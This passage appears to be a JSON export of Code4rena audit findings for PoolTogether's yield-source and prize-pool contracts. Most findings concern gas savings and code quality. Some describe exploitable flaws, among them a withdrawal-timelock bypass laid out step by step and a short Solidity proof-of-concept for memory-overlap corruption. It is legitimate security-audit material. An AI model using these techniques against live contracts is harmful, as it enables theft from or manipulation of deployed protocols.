bugs](https://github.com/ethereum/solidity/blob/develop/docs/bugs.json) [Solidity repo - bugs by version](https://github.com/ethereum/solidity/blob/develop/docs/bugs_by_version.json) "}, {"title": "Declare functions as `external` to save gas", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/107", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "SushiYieldSource", "BadgerYieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle shw # Vulnerability details ## Impact Functions (e.g., `supplyTokenTo`, `redeemToken`) in the `BadgerYieldSource` and `SushiYieldSource` can be declared `external` instead of `public` to save gas. ## Proof of Concept Referenced code: [BadgerYieldSource.sol#L26](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/BadgerYieldSource.sol#L26) [BadgerYieldSource.sol#L32](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/BadgerYieldSource.sol#L32) [BadgerYieldSource.sol#L43](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/BadgerYieldSource.sol#L43) [BadgerYieldSource.sol#L57](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/BadgerYieldSource.sol#L57) [SushiYieldSource.sol#L29](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/SushiYieldSource.sol#L29) [SushiYieldSource.sol#L35](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/SushiYieldSource.sol#L35) [SushiYieldSource.sol#L47](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/SushiYieldSource.sol#L47) [SushiYieldSource.sol#L66](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/SushiYieldSource.sol#L66) ## Recommended Mitigation Steps Change the keyword `public` to `external`. "}, {"title": "Use ERC-165 instead of homebrew staticcall-based check", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/104", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-06-pooltogether-findings", "body": "Use ERC-165 instead of homebrew staticcall-based check"}, {"title": "IdleYieldSource doesn't use mantissa calculations", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/103", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle tensors # Vulnerability details ## Impact Because mantissa calculations are not used in this case to account for decimals, the arithmetic can zero out the number of shares or tokens that should be given. For example, say I deposit 1 token, expecting 1 share in return. On L95, if the totalunderlying assets is increased to be larger than the number of total shares, then the division would output 0 and I wouldn't get any shares. ## Proof of Concept https://github.com/sunnyRK/IdleYieldSource-PoolTogether/blob/6dcc419e881a4f0f205c07c58f4db87520b6046d/contracts/IdleYieldSource.sol#L95 https://github.com/sunnyRK/IdleYieldSource-PoolTogether/blob/6dcc419e881a4f0f205c07c58f4db87520b6046d/contracts/IdleYieldSource.sol#L106 ## Recommended Mitigation Steps Implement mantissa calculations like in the contract for the AAVE yield. "}, {"title": "Gas savings on uninitialized variables.", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/101", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "ATokenYieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle tensors # Vulnerability details ##Impact Uninitialized variables initialize to 0 automatically. No need to explicitly initialize it. ##Proof of concept https://github.com/pooltogether/aave-yield-source/blob/bc65c875f62235b7af55ede92231a495ba091a47/contracts/yield-source/ATokenYieldSource.sol#L141 ##Recommended mitigation steps Replace with: `uint256 shares;` "}, {"title": "CreditBurned event emitted even on zero tokens burned", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/97", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details In `PrizePool._updateCreditBalance` the `CreditBurned` event is emitted even if nothing was burned. Not emitting this event when nothing happened can save gas and also seems better semantically. "}, {"title": "Credit accrual is done twice in `award`", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/96", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details The credit is accrued twice in `award`. The first accrual happens implicitly when calling `_mint` through the `ControlledToken(controlledToken).controllerMint` call which then performs the `PrizePool.beforeTokenTransfer` hook which accrues credit. Then the explicit accrual is done again. It should be enough to only add the `extraCredit` without doing another accrual (calling `_updateCreditBalance(..., newBalance= _applyCreditLimit(controlledToken, controlledTokenBalance, uint256(creditBalance.balance).add(credit).add(extra)))` instead). "}, {"title": "SushiYieldSource save gas with pre-approval", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/94", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "SushiYieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details `SushiYieldSource` should approve the SushiBar once during initialization with the max value. This saves gas on every `supplyTokenTo` call as the approval can be removed from there. "}, {"title": "ATokenYieldSource save gas with pre-approval", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/93", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "ATokenYieldSource", "IdleYieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details `ATokenYieldSource` should approve the lending contract once during initialization with the max value. This saves gas on every `supplyTokenTo/_depositToAave` call as the approval can be removed from there. "}, {"title": "`YieldSourcePrizePool_canAwardExternal` does not work", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/92", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-06-pooltogether-findings", "body": "`YieldSourcePrizePool_canAwardExternal` does not work"}, {"title": "withdraw timelock can be circumvented", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/91", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details One can withdraw the entire `PrizePool` deposit by circumventing the timelock. Assume the user has no credits for ease of computation: - user calls `withdrawWithTimelockFrom(user, amount=userBalance)` with their entire balance. This \"mints\" an equivalent `amount` of `timelock` and resets `_unlockTimestamps[user] = timestamp = blockTime + lockDuration`. - user calls `withdrawWithTimelockFrom(user, amount=0)` again but this time withdrawing `0` amount. This will return a `lockDuration` of `0` and thus `unlockTimestamp = blockTime`. The inner `_mintTimelock` now resets `_unlockTimestamps[user] = unlockTimestamp` - As `if (timestamp <= _currentTime()) ` is true, the full users amount is now transferred out to the user in the `_sweepTimelockBalances` call. ## Impact Users don't need to wait for their deposit to contribute their fair share to the prize pool. They can join before the awards and leave right after without a penalty which leads to significant issues for the protocol. It's the superior strategy but it leads to no investments in the strategy to earn the actual interest. ## Recommended Mitigation Steps The unlock timestamp should be increased by duration each time, instead of being reset to the duration. "}, {"title": "`YearnV2YieldSource` wrong subtraction in withdraw", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/90", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details `YearnV2YieldSource._withdrawFromVault` uses a wrong subtraction. When withdrawing from the `vault` one redeems `yTokens` for `token`s, thus the `token` balance of the contract should increase after withdrawal. But the contract subtracts the `currentBalance` from the `previousBalance`: ```solidity uint256 yShares = _tokenToYShares(amount); uint256 previousBalance = token.balanceOf(address(this)); // we accept losses to avoid being locked in the Vault (if losses happened for some reason) if(maxLosses != 0) { vault.withdraw(yShares, address(this), maxLosses); } else { vault.withdraw(yShares); } uint256 currentBalance = token.balanceOf(address(this)); // @audit-issue this seems wrong return previousBalance.sub(currentBalance); ``` ## Impact All vault withdrawals fail due to the integer underflow as the `previousBalance` is less than `currentBalance`. Users won't be able to get back their investment. ## Recommended Mitigation Steps It should return `currentBalance > previousBalance ? currentBalance - previousBalance : 0` "}, {"title": "ATokenYieldSource mixes aTokens and underlying when redeeming", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/86", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "ATokenYieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details The `ATokenYieldSource.redeemToken` function burns `aTokens` and sends out underlying, however, it's used in a reverse way in the code: The `balanceDiff` is used as the `depositToken` that is transferred out but it's computed on the **aTokens** that were burned instead of on the `depositToken` received. ## Impact It should not directly lead to issues as aTokens are 1-to-1 with their underlying but we still recommend doing it correctly to make the code more robust against any possible rounding issues. ## Recommended Mitigation Steps Compute `balanceDiff` on the underyling balance (depositToken), not on the aToken. Subtract the actual burned aTokens from the user shares. "}, {"title": "BadgerYieldSource balanceOfToken share calculation seems wrong", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/84", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "BadgerYieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details When suppling to the `BadgerYieldSource`, some `amount` of `badger` is deposited to `badgerSett` and one receives `badgerSett` share tokens in return which are stored in the `balances` mapping of the user. So far this is correct. The `balanceOfToken` function should then return the redeemable balance in `badger` for the user's `badgerSett` balance. It computes it as the pro-rata share of the user balance (compared to the total-supply of `badgerSett`) on the `badger` in the vault: ```solidity balances[addr].mul( badger.balanceOf(address(badgerSett)) ).div( badgerSett.totalSupply() ) ``` However, `badger.balanceOf(address(badgerSett))` is only a small amount of badger that is deployed in the vault (\"Sett\") due to most of the capital being deployed to the _strategies_. Therefore, it under-reports the actual balance: > Typically, a Sett will keep a small portion of deposited funds in reserve to handle small withdrawals cheaply. [Badger Docs](https://badger-finance.gitbook.io/badger-finance/technical/setts/sett-contract) ## Impact Any contract or user calling the `balanceOf` function will receive a value that is far lower than the actual balance. Using this value as a basis for computations will lead to further errors in the integrations. ## Recommended Mitigation Steps It should use [`badgerSett.balance()`](https://github.com/Badger-Finance/badger-system/blob/2b0ee9bd77a2cc6f875b9b984ae4dfe713bbc55c/contracts/badger-sett/Sett.sol#L126) instead of `badger.balanceOf(address(badgerSett))` to also account for \"the balance in the Sett, the Controller, and the Strategy\". "}, {"title": "Missing parameter validation", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/81", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "ATokenYieldSource", "SushiYieldSource", "BadgerYieldSource", "PrizePool", "ControlledToken", "StakePrizePool"], "target": "2021-06-pooltogether-findings", "body": "Missing parameter validation"}, {"title": "_depositToAave always returns 0", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/80", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "ATokenYieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle pauliax # Vulnerability details ## Impact contract ATokenYieldSource function _depositToAave returns 0 if successful. However, this value is not checked nor used anywhere. As this function is internal it would probably be better to remove this unnecessary return to save some gas and eliminate confusion. ## Recommended Mitigation Steps refactor function _depositToAave to return void. "}, {"title": "Uneven use of events", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/78", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact To track off-chain data it is necessary to use events ## Proof of Concept In ATokenYieldSource.sol, IdleYieldSource.sol, yearnV2yieldsource : events are emmitted in supplyTokenTo(), redeemToken() sponsor(), but not in BadgerYieldsource.sol and shushiyieldsource.sol ## Tools Used Manual analysis ## Recommended Mitigation Steps use events "}, {"title": "Various gas optimizations", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle hrkrshnn # Vulnerability details # General Gas optimization ## Upgrade to at least 0.8.4 (even better is 0.8.5) The following should lead to better gas savings: - The inliner should decrease runtime gas. - Inbuilt safemath instead of openzeppelin safemath should save some gas. - Various improvement in the expression simplifier in the compiler throughout (0.7.0 - 0.8.5) which should decrease both runtime and deploy time costs. (I'm assuming that the project currently uses 0.6.12, since the compiler version was not explicitly specified.) Of course, these improvements comes when optimizer is enabled, preferably with a high `--optimize-runs` value. Note that the `inliner` in particular can be quite useful for the contract, since the contracts sometimes generously chains small functions. ## Use custom errors instead of large revert strings Saves both deploy time and runtime gas (runtime gas is only relevant when the revert condition is met.) Need at least solidity 0.8.4 for this feature. ### Use shorter revert strings If you decide to not use custom errors, then try to use revert strings of size at most 32 characters. For one, shorter strings would save deploy cost (one time saving of 200 gas per byte / character decreased). Also strings more than 32 bytes requires an additional `mstore`, two additional `push`, and an `add`. Roughly, 18 more gas during runtime (when revert condition is met). Example string (33 bytes), from ControlledToken.sol ``` solidity uint256 decreasedAllowance = allowance(_user, _operator).sub(_amount, \"ControlledToken/exceeds-allowance\"); ``` # Specific Gas optimizations ## Use `immutable` For state variables that are only assigned in constructors, change it to `immutable`. This saves an `sload` each time the variable is accessed. Can save around 2100 gas (or 100 depending on warm / cold.) Examples: ### StakePrizePool.sol ``` diff modified contracts/StakePrizePool.sol @@ -8,7 +8,7 @@ import \"../PrizePool.sol\"; contract StakePrizePool is PrizePool { - IERC20Upgradeable private stakeToken; + IERC20Upgradeable immutable private stakeToken; event StakePrizePoolInitialized(address indexed stakeToken); ``` ### ControlledToken.sol ``` diff contract ControlledToken is ERC20PermitUpgradeable, ControlledTokenInterface { /// @notice Interface to the contract responsible for controlling mint/burn - TokenControllerInterface public override controller; + TokenControllerInterface public immutable override controller; ``` ### yield-source/YearnV2YieldSource.sol ``` diff @@ -24,7 +24,7 @@ contract YearnV2YieldSource is IYieldSource, ERC20Upgradeable, OwnableUpgradeabl /// @notice Yearn Vault which manages `token` to generate yield IYVaultV2 public vault; /// @dev Deposit Token contract address - IERC20Upgradeable internal token; + IERC20Upgradeable immutable internal token; /// @dev Max % of losses that the Yield Source will accept from the Vault in BPS uint256 public maxLosses = 0; // 100% would be 10_000 ``` This change would likely require changing the initialization pattern. See the section below for details. Similarly, several such variables can be changed. Not listing everything here. ## Avoiding the `initialize` pattern If elements can be initialized in the constructor, or via calls to internal functions in constructor, instead of the public `initialize` function, it should be possible to save deployment costs. On top of that, since the `initialize` function won't be part of the function dispatch in the contract, one could save some gas at run time for some calls (saves approximately two `push`, an `eq` and a `jumpi`.) Another benefit for this is that several state variables can be converted to immutables. Again, saves `sload` costs during runtime. Also, it might also be possible to change `initialize` from `public` to `internal`. ## `_msgSender()` (Possible micro optimization) Use `msg.sender` instead of `_msgSender()`. The latter might not be inlined by the compiler. (This is for cases where `_msgSender()` function simply returns `msg.sender`.) Can save around 30 gas (2 `JUMP`, plus some `PUSH` and some stack operations.) Also, the contracts seem to mix `_msgSender()` and `msg.sender`, for example in `PrizePool.sol`. This could be avoided. ## Use `decreaseAllowance` in ControllerToken.sol ``` diff @@ -58,8 +58,7 @@ contract ControlledToken is ERC20PermitUpgradeable, ControlledTokenInterface { /// @param _amount Amount of tokens to burn function controllerBurnFrom(address _operator, address _user, uint256 _amount) external virtual override onlyController { if (_operator != _user) { - uint256 decreasedAllowance = allowance(_user, _operator).sub(_amount, \"ControlledToken/exceeds-allowance\"); - _approve(_user, _operator, decreasedAllowance); + decreaseAllowance(_user, _operator, _amount); } _burn(_user, _amount); } ``` Will be slightly more gas efficient than the first once. # General comments ## Try to avoid `super` if possible For example, in Ticket.sol: ``` solidity public virtual override initializer { super.initialize(_name, _symbol, _decimals, _controller); ``` The above usage of `super` is unnecessary. Unless you are dealing with multiple inheritance, where `super` is absolutely required, there is no need to use super, instead of statically specifying the name of the parent contract. There is however no performance penalty in using `super` instead of a static call to the parent. ## Several `balance` related function can be made `view`? In PrizePool, the function `function balance() external returns (uint256)` can perhaps be made `view`. This would also mean that a few other internal functions should be made `view`, such as `_balance`. "}, {"title": "Using memory[] parameter without checking its length", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/75", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact Using memory array parameters (e.g. uint[] memory) as function parameters can be tricky in Solidity, because an attack is possible with a very large array which will overlap with other parts of the memory. ## Proof of Concept https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L219 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L639 This an example to show the exploit: // based on https://github.com/paradigm-operations/paradigm-ctf-2021/blob/master/swap/private/Exploit.sol pragma solidity ^0.4.24; // only works with low solidity version contract test{ struct Overlap { uint field0; } event log(uint); function mint(uint[] memory amounts) public returns (uint) { // this can be in any solidity version Overlap memory v; v.field0 = 1234; emit log(amounts[0]); // would expect to be 0 however is 1234 return 1; } function go() public { // this part requires the low solidity version uint x=0x800000000000000000000000000000000000000000000000000000000000000; // 2^251 bytes memory payload = abi.encodeWithSelector(this.mint.selector, 0x20, x); bool success=address(this).call(payload); } } ## Tools Used manual analysis ## Recommended Mitigation Steps check the array length before using it "}, {"title": "safeApprove() for Yearn Vault may revert preventing deposits causing DoS", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/71", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The _depositInVault() function for Yearn yield source uses ERC20 safeApprove() from OpenZeppelin's SafeERC20 library to give maximum allowance to the Yearn Vault address if the current allowance is less than contract\u2019s token balance. However, the\u00a0safeApprove\u00a0function\u00a0prevents changing an allowance between non-zero values\u00a0to mitigate a\u00a0possible front-running attack. It reverts if that is the case. Instead, the\u00a0safeIncreaseAllowance\u00a0and\u00a0safeDecreaseAllowance\u00a0functions should be used. Comment from the OZ library for this function: \u201c// safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and \u2018safeDecreaseAllowance'\" Impact: If the existing allowance is non-zero (say, for e.g., previously the entire balance was not deposited due to vault balance limit resulting in the allowance being reduced but not made 0), then safeApprove() will revert causing the user\u2019s token deposits to fail leading to denial-of-service. The condition predicate indicates that this scenario is possible. ## Proof of Concept Reference: See similar Medium-severity finding M03 here: https://blog.openzeppelin.com/1inch-exchange-audit/ https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/YearnV2YieldSource.sol#L171-L173 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/6842518b1b71fac9a21c7d94ec521992cff266b5/contracts/token/ERC20/utils/SafeERC20.sol#L44-L57 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Use safeIncreaseAllowance()\u00a0function instead of safeApprove(). "}, {"title": "Ignored return values may lead to undefined behavior", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/70", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-06-pooltogether-findings", "body": "Ignored return values may lead to undefined behavior"}, {"title": "Overly permissive threshold check allows high yield loss", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/69", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-pooltogether-findings", "body": "Overly permissive threshold check allows high yield loss"}, {"title": "Lack of event emission after critical initialize() functions", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/68", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Most contracts use initialize() functions instead of constructor given the delegatecall proxy pattern. While most of them emit an event in the critical initialize() functions to record the init parameters for off-chain monitoring and transparency reasons, Ticket.sol nor its base class ControlledToken.sol emit such an event in their initialize() functions. Impact: These contracts are initialized but their critical init parameters (name, symbol, decimals and controller address) are not logged for any off-chain monitoring. ## Proof of Concept See similar Medium-severity Finding M01 in OpenZeppelin\u2019s audit of UMA protocol: https://blog.openzeppelin.com/uma-audit-phase-4/ https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/Ticket.sol#L24-L37 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/ControlledToken.sol#L22-L36 Examples of event emission: https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L239-L243 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/YieldSourcePrizePool.sol#L47 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Emit an initialised event in Ticket.sol and ControlledToken.sol logging their init parameters. "}, {"title": "Missing zero-address checks", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/65", "labels": ["bug", "duplicate", "1 (Low Risk)", "ATokenYieldSource", "IdleYieldSource", "YearnV2YieldSource", "SushiYieldSource", "BadgerYieldSource", "PrizePool", "ControlledToken", "YieldSourcePrizePool", "StakePrizePool"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Zero-address checks as input validation closest to the function beginning is a best-practice. There are two places where an explicit zero-address check is missing which may lead to a later revert, gas wastage or even token burn. ## Proof of Concept 1. Explicit zero-address check is missing here for _newYieldSource and will revert later down the control flow on L256: https://github.com/pooltogether/swappable-yield-source/blob/89cf66a3e3f8df24a082e1cd0a0e80d08953049c/contracts/SwappableYieldSource.sol#L269 https://github.com/pooltogether/swappable-yield-source/blob/89cf66a3e3f8df24a082e1cd0a0e80d08953049c/contracts/SwappableYieldSource.sol#L256 2. Missing zero-address check on \u2018to\u2019 address will lead to token burn because imBalances accounts it for the zero-address from which it can never be redeemed using msg.sender: https://github.com/pooltogether/pooltogether-mstable/blob/0bcbd363936fadf5830e9c48392415695896ddb5/contracts/yield-source/MStableYieldSource.sol#L85 https://github.com/pooltogether/pooltogether-mstable/blob/0bcbd363936fadf5830e9c48392415695896ddb5/contracts/yield-source/MStableYieldSource.sol#L94 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add explicit zero-address checks closest to the function entry. "}, {"title": "Missing calls to init functions of inherited contracts", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/60", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "ATokenYieldSource", "IdleYieldSource", "YearnV2YieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Most contracts use the delegateCall proxy pattern and hence their implementations require the use of initialize() functions instead of constructors. This requires derived contracts to call the corresponding init functions of their inherited base contracts. This is done in most places except a few. Impact: The inherited base classes do not get initialized which may lead to undefined behavior. ## Proof of Concept Missing call to __ReentrancyGuard_init: https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/ATokenYieldSource.sol#L99-L102 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/IdleYieldSource.sol#L59-L61 Missing call to__ERC20_init: https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/IdleYieldSource.sol#L59-L61 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/YearnV2YieldSource.sol#L83-L86 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add missing calls to init functions of inherited contracts. "}, {"title": "Actual yield source check on address will succeed for non-existent contract", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/59", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "YieldSourcePrizePool", "MitigationStarted"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Low-level calls call/delegatecall/staticcall\u00a0return\u00a0true\u00a0even if the account called is non-existent (per EVM design). Solidity documentation warns: \"The low-level functions\u00a0call, delegatecall\u00a0and staticcall return\u00a0true\u00a0as their first return value if the account called is non-existent, as part of the design of the EVM. Account existence must be checked prior to calling if needed.\u201d The staticcall here will return True even if the _yieldSource contract doesn't exist at any incorrect-but-not-zero address, e.g. EOA address, used during initialization by accident. Impact: The hack, as commented, to check if it\u2019s an actual yield source contract will fail if the address is indeed a contract account which doesn\u2019t implement the depositToken function. However, if the address is that of an EOA account, the check will pass here but will revert in all future calls to the yield source forcing contract redeployment after the pool is active. Users will not be able to interact with the pool and abandon it. ## Proof of Concept https://docs.soliditylang.org/en/v0.8.6/control-structures.html#error-handling-assert-require-revert-and-exceptions https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/YieldSourcePrizePool.sol#L41-L45 ## Tools Used Manual Analysis ## Recommended Mitigation Steps A contract existence check should be performed on _yieldSource prior to the depositToken function existence hack for determining yield source contract. "}, {"title": "Missing modifier onlyControlledToken may result in undefined/exceptional behavior", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/54", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "PrizePool"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The modifier onlyControlledToken is used for functions that allow the controlledToken address as a parameter to ensure that only whitelisted tokens (ticket and sponsorship) are provided. This is used in all functions except calculateEarlyExitFee(). Impact: The use of a non-whitelisted controlledToken will result in calls to potentially malicious token contract and cause undefined behavior for the `from` user address specified in the call. ## Proof of Concept Missing modifier: https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L729-L747 Modifier: https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L1105-L1110 All other functions which accept controlledToken parameter have modifier onlyControlledToken: https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L275 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L299 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L327 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L378 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L418 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L498 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L888 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L903 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add missing modifier onlyControlledToken to calculateEarlyExitFee(). "}, {"title": "Named return values are never used in favor of explicit returns", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/53", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Named return values in multiple functions are never used in favor of explicit returns. Impact: This affects readability/auditability at the least and could potentially result in unexpected values being returned along paths with no explicit returns. ## Proof of Concept Unused in favor of explicit return: https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L717-L726 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L741-L744 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L770 Used without explicit return: https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L923-L930 Used with explicit return: https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L944-L947 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove unused named returns where unnecessary. Be consistent in using named vs explicit returns. "}, {"title": "The assumption that operator == to (user) may not hold leading to failed timelock deposits", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/51", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-06-pooltogether-findings", "body": "The assumption that operator == to (user) may not hold leading to failed timelock deposits"}, {"title": "Switch modifier order to consistently place the nonreentrant modifier as the first one", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/50", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact If a function has multiple modifiers they are executed in the order specified. If checks or logic of modifiers depend on other modifiers this has to be considered in their ordering. PrizePool has functions with multiple modifiers with one of them being nonreentrant which prevents reentrancy on the functions. This should ideally be the first one to prevent even the execution of other modifiers in case of reentrancies. While there is no obvious vulnerability currently with nonreentrant being the last modifier in the list, it is safer to place it in the 